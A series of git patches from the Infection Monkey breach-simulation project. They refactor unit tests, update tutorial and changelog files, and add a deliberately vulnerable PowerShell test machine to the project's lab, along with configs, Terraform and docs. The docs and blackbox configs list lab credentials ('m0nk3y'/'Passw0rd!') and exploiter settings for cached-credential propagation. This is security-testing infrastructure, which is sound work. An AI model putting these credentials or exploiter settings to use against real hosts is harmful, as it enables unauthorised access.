    " + ) + SCANNED: str = "SCANNED" + USED: str = "USED" class FakeAttackTechnique_OneRelevantSystem(AttackTechnique): @@ -52,19 +51,16 @@ class FakeAttackTechnique_OneRelevantSystem(AttackTechnique): pass -EXPECTED_UNSCANNED_MSG_ONE_RELEVANT_SYSTEM = ( - "UNSCANNED due to one of the following reasons:\n" - "- The Monkey did not run on any System 1 systems.\n" - "- The following configuration options were disabled:
    " - "- Definition Type 1 — Config Option 1
    " - "- Definition Type 2 — Config Option 5
    " -) - - -EXPECTED_SCANNED_MSG_ONE_RELEVANT_SYSTEM = "SCANNED" - - -EXPECTED_USED_MSG_ONE_RELEVANT_SYSTEM = "USED" +class ExpectedMsgs_OneRelevantSystem(Enum): + UNSCANNED: str = ( + "UNSCANNED due to one of the following reasons:\n" + "- The Monkey did not run on any System 1 systems.\n" + "- The following configuration options were disabled:
    " + "- Definition Type 1 — Config Option 1
    " + "- Definition Type 2 — Config Option 5
    " + ) + SCANNED: str = "SCANNED" + USED: str = "USED" def test_get_message_by_status_disabled_two_relevant_systems(monkeypatch): @@ -92,7 +88,7 @@ def test_get_message_by_status_unscanned_two_relevant_systems(monkeypatch): technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( ScanStatus.UNSCANNED.value ) - assert technique_msg == EXPECTED_UNSCANNED_MSG_TWO_RELEVANT_SYSTEMS + assert technique_msg == ExpectedMsgs_TwoRelevantSystems.UNSCANNED.value def test_get_message_by_status_scanned_two_relevant_systems(monkeypatch): @@ -106,7 +102,7 @@ def test_get_message_by_status_scanned_two_relevant_systems(monkeypatch): technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( ScanStatus.SCANNED.value ) - assert technique_msg == EXPECTED_SCANNED_MSG_TWO_RELEVANT_SYSTEMS + assert technique_msg == ExpectedMsgs_TwoRelevantSystems.SCANNED.value def test_get_message_by_status_used_two_relevant_systems(monkeypatch): @@ -120,7 +116,7 @@ def test_get_message_by_status_used_two_relevant_systems(monkeypatch): technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( ScanStatus.USED.value ) - assert technique_msg == EXPECTED_USED_MSG_TWO_RELEVANT_SYSTEMS + assert technique_msg == ExpectedMsgs_TwoRelevantSystems.USED.value ### @@ -151,7 +147,7 @@ def test_get_message_by_status_unscanned_one_relevant_system(monkeypatch): technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( ScanStatus.UNSCANNED.value ) - assert technique_msg == EXPECTED_UNSCANNED_MSG_ONE_RELEVANT_SYSTEM + assert technique_msg == ExpectedMsgs_OneRelevantSystem.UNSCANNED.value def test_get_message_by_status_scanned_one_relevant_system(monkeypatch): @@ -165,7 +161,7 @@ def test_get_message_by_status_scanned_one_relevant_system(monkeypatch): technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( ScanStatus.SCANNED.value ) - assert technique_msg == EXPECTED_SCANNED_MSG_ONE_RELEVANT_SYSTEM + assert technique_msg == ExpectedMsgs_OneRelevantSystem.SCANNED.value def test_get_message_by_status_used_one_relevant_system(monkeypatch): @@ -179,4 +175,4 @@ def test_get_message_by_status_used_one_relevant_system(monkeypatch): technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( ScanStatus.USED.value ) - assert technique_msg == EXPECTED_USED_MSG_ONE_RELEVANT_SYSTEM + assert technique_msg == ExpectedMsgs_OneRelevantSystem.USED.value From 85e54419f3faa281d6887dca5c6cebbf3581a86e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 17:23:59 +0530 Subject: [PATCH 227/454] tests: Extract mocking to an autouse, function-scoped fixture to reduce code in test_technique_reports.py --- .../test_technique_reports.py | 88 +++++-------------- 1 file changed, 21 insertions(+), 67 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py index 3563c965a..acd855e71 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py @@ -1,5 +1,7 @@ from enum import Enum +import pytest + from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.technique_reports.__init__ import ( AttackTechnique, @@ -18,6 +20,17 @@ FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = { } +@pytest.fixture(scope="function", autouse=True) +def mock_config_schema_per_attack_technique(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + + class FakeAttackTechnique_TwoRelevantSystems(AttackTechnique): tech_id = "T0001" relevant_systems = ["System 1", "System 2"] @@ -63,115 +76,56 @@ class ExpectedMsgs_OneRelevantSystem(Enum): USED: str = "USED" -def test_get_message_by_status_disabled_two_relevant_systems(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) +def test_get_message_by_status_disabled_two_relevant_systems(): technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( ScanStatus.DISABLED.value ) assert technique_msg == disabled_msg -def test_get_message_by_status_unscanned_two_relevant_systems(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) +def test_get_message_by_status_unscanned_two_relevant_systems(): technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( ScanStatus.UNSCANNED.value ) assert technique_msg == ExpectedMsgs_TwoRelevantSystems.UNSCANNED.value -def test_get_message_by_status_scanned_two_relevant_systems(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) +def test_get_message_by_status_scanned_two_relevant_systems(): technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( ScanStatus.SCANNED.value ) assert technique_msg == ExpectedMsgs_TwoRelevantSystems.SCANNED.value -def test_get_message_by_status_used_two_relevant_systems(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) +def test_get_message_by_status_used_two_relevant_systems(): technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( ScanStatus.USED.value ) assert technique_msg == ExpectedMsgs_TwoRelevantSystems.USED.value -### - - -def test_get_message_by_status_disabled_one_relevant_system(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) +def test_get_message_by_status_disabled_one_relevant_system(): technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( ScanStatus.DISABLED.value ) assert technique_msg == disabled_msg -def test_get_message_by_status_unscanned_one_relevant_system(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) +def test_get_message_by_status_unscanned_one_relevant_system(): technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( ScanStatus.UNSCANNED.value ) assert technique_msg == ExpectedMsgs_OneRelevantSystem.UNSCANNED.value -def test_get_message_by_status_scanned_one_relevant_system(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) +def test_get_message_by_status_scanned_one_relevant_system(): technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( ScanStatus.SCANNED.value ) assert technique_msg == ExpectedMsgs_OneRelevantSystem.SCANNED.value -def test_get_message_by_status_used_one_relevant_system(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) +def test_get_message_by_status_used_one_relevant_system(): technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( ScanStatus.USED.value ) From a857d291d8e7f98cc6b13e1c6cac88cb9506fc08 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 17:32:17 +0530 Subject: [PATCH 228/454] CHANGELOG: Add entry for modifying ATT&CK report messages --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2e603c37f..1d3d2552f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed - The name of the "Communicate as new user" post-breach action to "Communicate as backdoor user". #1410 +- ATT&CK report messages (more accurate now). #1483 ### Removed - Internet access check on agent start. #1402 From d6f91e45f721c98e3048a82a529d12e1a14976da Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 17:35:36 +0530 Subject: [PATCH 229/454] swimm: update exercise Add details about your new PBA JFXftJml8DpmuCPBA9rL --- .swm/JFXftJml8DpmuCPBA9rL.swm | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/.swm/JFXftJml8DpmuCPBA9rL.swm b/.swm/JFXftJml8DpmuCPBA9rL.swm index 925e662f9..096224cd6 100644 --- a/.swm/JFXftJml8DpmuCPBA9rL.swm +++ b/.swm/JFXftJml8DpmuCPBA9rL.swm @@ -17,16 +17,15 @@ "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", "comments": [], - "firstLineNumber": 56, + "firstLineNumber": 52, "lines": [ " \"Removes the file afterwards.\",", " \"attack_techniques\": [\"T1166\"],", " },", "* {", - "+ # Swimmer: ADD DETAILS HERE!", "* \"type\": \"string\",", "* \"enum\": [\"ScheduleJobs\"],", - "* \"title\": \"Job scheduling\",", + "* \"title\": \"Job Scheduling\",", "* \"safe\": True,", "* \"info\": \"Attempts to create a scheduled job on the system and remove it.\",", "* \"attack_techniques\": [\"T1168\", \"T1053\"],", @@ -42,11 +41,11 @@ } ], "symbols": {}, - "file_version": "2.0.1", + "file_version": "2.0.3", "meta": { - "app_version": "0.4.1-1", + "app_version": "0.5.7-0", "file_blobs": { - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "ea9b18aba7f71da12c9c82ac39d8a0cf2c472a9c" + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "7d62ac36e875ca3c249d808250cb3268e4d3d68d" } } } From 1807bfcb3e195c9ad6697fe4eb486329243b6a1a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 17:37:59 +0530 Subject: [PATCH 230/454] swimm: update exercise Add a new System Info Collector OwcKMnALpn7tuBaJY1US --- .swm/OwcKMnALpn7tuBaJY1US.swm | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index 7c3a32862..0e87dd5e9 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -77,10 +77,9 @@ " \"attack_techniques\": [\"T1082\"],", " },", "* {", - "+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.", "* \"type\": \"string\",", "* \"enum\": [HOSTNAME_COLLECTOR],", - "* \"title\": \"Hostname collector\",", + "* \"title\": \"Hostname Collector\",", "* \"safe\": True,", "* \"info\": \"Collects machine's hostname.\",", "* \"attack_techniques\": [\"T1082\", \"T1016\"],", @@ -110,7 +109,7 @@ "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/monkey.py", "comments": [], - "firstLineNumber": 92, + "firstLineNumber": 91, "lines": [ " \"default\": [", " ENVIRONMENT_COLLECTOR,", @@ -195,14 +194,14 @@ } ], "symbols": {}, - "file_version": "2.0.1", + "file_version": "2.0.3", "meta": { - "app_version": "0.4.4-0", + "app_version": "0.5.7-0", "file_blobs": { "monkey/common/common_consts/system_info_collectors_names.py": "175a054e1408805a4cebbe27e2f9616db40988cf", "monkey/infection_monkey/system_info/collectors/hostname_collector.py": "0aeecd9fb7bde83cccd4501ec03e0da199ec5fc3", - "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "9a4a39050eb088876df4fa629e14faf820e714a0", - "monkey/monkey_island/cc/services/config_schema/monkey.py": "e745da5828c63e975625ac2e9b80ce9626324970", + "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": "072640352fc9d50fe09752cfc951dab7d99271af", + "monkey/monkey_island/cc/services/config_schema/monkey.py": "da06123a95eebf7f0a68861815ee644bb37c8db6", "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": "e2de4519cbd71bba70e81cf3ff61817437d95a21", "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": "7ce4b6fcfbce0d6cd8a60297213c5be1699b22df" } From c2c5710dfad25169542de42bd597bc37a82fec8d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 17:41:08 +0530 Subject: [PATCH 231/454] swimm: update exercise Add details about your new PBA JFXftJml8DpmuCPBA9rL --- .swm/JFXftJml8DpmuCPBA9rL.swm | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/.swm/JFXftJml8DpmuCPBA9rL.swm b/.swm/JFXftJml8DpmuCPBA9rL.swm index 096224cd6..510b9a2b0 100644 --- a/.swm/JFXftJml8DpmuCPBA9rL.swm +++ b/.swm/JFXftJml8DpmuCPBA9rL.swm @@ -15,14 +15,12 @@ }, { "type": "snippet", - "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "comments": [], - "firstLineNumber": 52, "lines": [ " \"Removes the file afterwards.\",", " \"attack_techniques\": [\"T1166\"],", " },", "* {", + "+ # Swimmer: ADD DETAILS HERE!", "* \"type\": \"string\",", "* \"enum\": [\"ScheduleJobs\"],", "* \"title\": \"Job Scheduling\",", @@ -33,7 +31,10 @@ " {", " \"type\": \"string\",", " \"enum\": [\"Timestomping\"]," - ] + ], + "firstLineNumber": 52, + "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "comments": [] }, { "type": "text", From b90e9ccf21e8eff8c2518766ae3de7acedf7c671 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 24 Sep 2021 15:29:11 +0200 Subject: [PATCH 232/454] Zoo: Add second hop bb test Added new powershell-3-48 machine for second hop test. Explanation why cached are not working after the first hop. Documentation for the zoo. --- .../blackbox/config_templates/powershell.py | 11 ++++-- .../blackbox/gcp_test_machine_list.py | 1 + envs/monkey_zoo/docs/fullDocs.md | 37 +++++++++++++++++-- envs/monkey_zoo/terraform/images.tf | 4 ++ envs/monkey_zoo/terraform/monkey_zoo.tf | 15 ++++++++ .../exploit/powershell_utils/credentials.py | 6 ++- 6 files changed, 65 insertions(+), 9 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index cd238fd27..ff377a14f 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -10,10 +10,15 @@ class PowerShell(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["PowerShellExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.3.45", "10.2.3.46", "10.2.3.47"], + "basic_network.scope.subnet_scan_list": [ + "10.2.3.45", + "10.2.3.46", + "10.2.3.47", + "10.2.3.48", + ], "basic.credentials.exploit_password_list": ["Passw0rd!"], - "basic_network.scope.depth": 2, - "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], + "basic_network.scope.depth": 2, # TODO: Remove .\\ when DC name is added + "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user", ".\\m0nk3y"], "internal.classes.finger_classes": ["PingScanner"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [], diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 968e2026d..2cd5a045c 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -25,5 +25,6 @@ GCP_TEST_MACHINE_LIST = { "powershell-3-45", "powershell-3-46", "powershell-3-47", + "powershell-3-48", ], } diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 4008b464d..679f52d3e 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -34,8 +34,9 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 3-45 Powershell](#_Toc536021479)
    [Nr. 3-46 Powershell](#_Toc536021480)
    [Nr. 3-47 Powershell](#_Toc536021481)
    -[Nr. 250 MonkeyIsland](#_Toc536021482)
    -[Nr. 251 MonkeyIsland](#_Toc536021483)
    +[Nr. 3-48 Powershell](#_Toc536021482)
    +[Nr. 250 MonkeyIsland](#_Toc536021483)
    +[Nr. 251 MonkeyIsland](#_Toc536021484)
    [Network topography](#network-topography)
    # Warning\! @@ -1171,7 +1172,35 @@ fullTest.conf is a good config to start, because it covers all machines.

    Nr. 251 MonkeyIsland

    +

    Nr. 251 MonkeyIsland

    (10.2.2.251)

    - + + + + + + + + + + + + + + + + + + + + + +

    Nr. 250 MonkeyIsland

    +

    Nr. 3-48 Powershell

    +

    (10.2.3.48)

    (Vulnerable)
    OS:Windows Server 2019 x64
    Software:WinRM service
    Default server’s port:-
    Notes:User: m0nk3y, Password: Passw0rd!
    + + + + + @@ -1203,7 +1232,7 @@ fullTest.conf is a good config to start, because it covers all machines.

    Nr. 250 MonkeyIsland

    (10.2.2.250)

    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 949aa50ac..77432c845 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -57,6 +57,10 @@ data "google_compute_image" "mssql-16" { name = "mssql-16" project = local.monkeyzoo_project } +data "google_compute_image" "powershell-3-48" { + name = "powershell-3-48" + project = local.monkeyzoo_project +} data "google_compute_image" "powershell-3-47" { name = "powershell-3-47" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index ffa5efbe1..cd9675732 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -313,6 +313,21 @@ resource "google_compute_instance_from_template" "mssql-16" { } } +resource "google_compute_instance_from_template" "powershell-3-48" { + name = "${local.resource_prefix}powershell-3-48" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.powershell-3-48.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main-1" + network_ip="10.2.3.48" + } +} + resource "google_compute_instance_from_template" "powershell-3-47" { name = "${local.resource_prefix}powershell-3-47" source_instance_template = local.default_windows diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py index 982f9da29..0e7d0ebab 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credentials.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -36,7 +36,9 @@ def get_credentials( # On Windows systems, when username == None and password == None, the current user's credentials -# will be used to attempt to log into the victim. +# will be used to attempt to log into the victim only on the first hop, from island +# to a machine. Propagating after the first hop is not possible at the moment. +# See this: https://security.stackexchange.com/questions/120422/powershell-and-cached-credentials def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: return [Credentials(username=None, secret=None, secret_type=SecretType.CACHED)] @@ -44,7 +46,7 @@ def _get_empty_credentials(is_windows: bool) -> List[Credentials]: return [] -# On Windows systems, when password == None, the current user's password will bu used to attempt to +# On Windows systems, when password == None, the current user's password will be used to attempt to # log into the victim. def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: credentials = [ From 689e6ac5328c8cef5f6da4ff00161b08a0df00f9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Sep 2021 13:08:52 +0200 Subject: [PATCH 233/454] Zoo: Add os specific black box test. Add new --os flag to the blackbox tests. If not specified it will skip all os marked tests. --- .../blackbox/config_templates/powershell.py | 17 +++++++++++++++ envs/monkey_zoo/blackbox/conftest.py | 21 +++++++++++++++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 10 ++++++++- vulture_allowlist.py | 2 ++ 4 files changed, 49 insertions(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index ff377a14f..fddfd32ae 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -27,3 +27,20 @@ class PowerShell(ConfigTemplate): ], } ) + + +class PowerShell_Cached(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["PowerShellExploiter"], + "basic_network.scope.subnet_scan_list": [ + "10.2.3.46", + ], + "basic_network.scope.depth": 2, + "internal.classes.finger_classes": ["PingScanner"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [], + } + ) diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py index cc608fae8..cfaa1f604 100644 --- a/envs/monkey_zoo/blackbox/conftest.py +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -27,6 +27,12 @@ def pytest_addoption(parser): default=False, help="If enabled performance tests will be run.", ) + parser.addoption( + "--os", + action="store", + default=None, + help="Use to run Windows or Linux specific tests.", + ) @pytest.fixture(scope="session") @@ -51,3 +57,18 @@ def pytest_runtest_setup(item): pytest.skip( "Skipping performance test because " "--run-performance-tests flag isn't specified." ) + + if item.config.getoption("--os"): + os = [mark.args[0] for mark in item.iter_markers(name="os")] + if os: + if item.config.getoption("--os") not in os: + pytest.skip( + f"Skipping OS specific test. Run in {os[0]} if " + f"you want this test to be executed." + ) + else: + pytest.skip( + "Skipping OS specific test because" + "--os flag isn't specified." + " Specify --os with windows or linux as options." + ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 221d783f6..8616d77b5 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -13,7 +13,7 @@ from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance -from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell +from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell, PowerShell_Cached from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth @@ -52,6 +52,8 @@ MACHINE_BOOTUP_WAIT_SECONDS = 30 LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) LOGGER = logging.getLogger(__name__) +WINDOWS = "windows" +LINUX = "linux" @pytest.fixture(autouse=True, scope="session") @@ -166,6 +168,12 @@ class TestMonkeyBlackbox: island_client, PowerShell, "PowerShell_Remoting_exploiter" ) + @pytest.mark.os(WINDOWS) + def test_powershell_exploiter_cached_credentials(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, PowerShell_Cached, "PowerShell_Remoting_exploiter_cached_credentials" + ) + def test_smb_and_mimikatz_exploiters(self, island_client): TestMonkeyBlackbox.run_exploitation_test( island_client, SmbMimikatz, "SMB_exploiter_mimikatz" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 905cc74ad..5680cf5b6 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -205,4 +205,6 @@ environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59) _.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) +# TODO: Remove this when adding LINUX specific bb test +LINUX # unused variable (envs/monkey_zoo/blackbox/test_blackbox.py:56) GCPHandler # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:57) From 87809c46c167acfc9a34043abe15da5724c739e6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 24 Sep 2021 17:05:47 +0300 Subject: [PATCH 234/454] Fix breaking PBA file upload unit tests on windows. The tests broke because `get` endpoint opened up the file handle which was not closed anywhere. The delete endpoint couldn't delete the file, since a process was using it. --- .../monkey_island/cc/resources/test_pba_file_upload.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py index c06f0c400..3dfad70a7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py @@ -92,16 +92,19 @@ def test_pba_file_upload_endpoint( content_type="multipart/form-data; " "boundary=---------------------------" "1", follow_redirects=True, ) + resp_get = flask_client.get(f"/api/fileUpload/{pba_os}?load=test.py") + assert resp_get.status_code == 200 + assert resp_get.data.decode() == "m0nk3y" + # Closing the response closes the file handle, else it can't be deleted + resp_get.close() + resp_delete = flask_client.delete( f"/api/fileUpload/{pba_os}", data="test.py", content_type="text/plain;" ) resp_get_del = flask_client.get(f"/api/fileUpload/{pba_os}?load=test.py") assert resp_post.status_code == 200 - assert resp_get.status_code == 200 - assert resp_get.data.decode() == "m0nk3y" - assert resp_delete.status_code == 200 assert resp_get_del.status_code == 404 From 96c525d6569494d08b1de069e794ae46d63579b2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Sep 2021 11:13:32 +0530 Subject: [PATCH 235/454] docs: Add upward right arrow icon to external links Taken from https://www.jayeless.net/2021/08/hugo-mark-external-links.html --- docs/layouts/_default/_markup/render-link.html | 1 + 1 file changed, 1 insertion(+) create mode 100644 docs/layouts/_default/_markup/render-link.html diff --git a/docs/layouts/_default/_markup/render-link.html b/docs/layouts/_default/_markup/render-link.html new file mode 100644 index 000000000..8581270fa --- /dev/null +++ b/docs/layouts/_default/_markup/render-link.html @@ -0,0 +1 @@ +{{ .Text | safeHTML }}{{ if strings.HasPrefix .Destination "http" }} external link{{ end }} From 51f6fbe3569272a311ae266f62ab08ec0f9b34a7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 27 Sep 2021 16:29:41 +0300 Subject: [PATCH 236/454] Adjust island conftest.py to also rename the encryptor to datastore_encryptor --- monkey/tests/unit_tests/monkey_island/cc/conftest.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index f7d28b9de..9cca0caab 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -10,7 +10,7 @@ from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_bas STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, ) -from monkey_island.cc.server_utils.encryptor import initialize_encryptor +from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor @pytest.fixture @@ -29,4 +29,4 @@ def monkey_config_json(monkey_config): @pytest.fixture def uses_encryptor(data_for_tests_dir): - initialize_encryptor(data_for_tests_dir) + initialize_datastore_encryptor(data_for_tests_dir) From 46f263be5f58e605e5afa813ebff659fb350b097 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 27 Sep 2021 16:51:59 +0300 Subject: [PATCH 237/454] Separate the telemetry document from telemetry_dal, also extracted external interface into __init__.py files --- monkey/monkey_island/cc/models/report.py | 9 ++-- .../cc/models/telemetries/__init__.py | 2 +- .../cc/models/telemetries/telemetry.py | 45 ------------------ .../cc/models/telemetries/telemetry_dal.py | 46 +++++++++++++++++++ .../monkey_island/cc/models/utils/__init__.py 